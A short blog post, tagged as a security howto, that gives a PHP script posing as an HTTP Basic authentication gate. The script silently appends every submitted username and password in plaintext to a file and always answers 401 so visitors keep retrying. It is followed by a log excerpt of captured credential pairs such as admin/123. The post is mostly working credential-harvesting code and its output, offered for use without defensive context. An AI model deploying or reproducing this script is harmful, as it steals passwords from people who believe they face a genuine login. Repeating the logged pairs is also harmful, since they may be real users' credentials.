//
you're reading...
Apache, howto, scripting, security

A Simple PHP Authenticator which logs users’ usernames and passwords

<?php

if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '401 Unauthorized';
exit;
} else {

$a=$_SERVER['PHP_AUTH_USER'];
$b=$_SERVER['PHP_AUTH_PW'];

$myFile = "./testFile.txt";
$fh = fopen($myFile, 'a') or die("ferror!!!");
fwrite($fh, $a);
fwrite($fh,"\n");
fwrite($fh, $b);
fwrite($fh,"\n");
fwrite($fh,"-------------------\n");
fclose($fh);

header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '401 Unauthorized';
exit;

}
?>


# tail -f testFile.txt
-------------------
pilio
123
-------------------
admin
123
-------------------
administrator
superman
-------------------

Discussion

Comments are closed.

%d bloggers like this: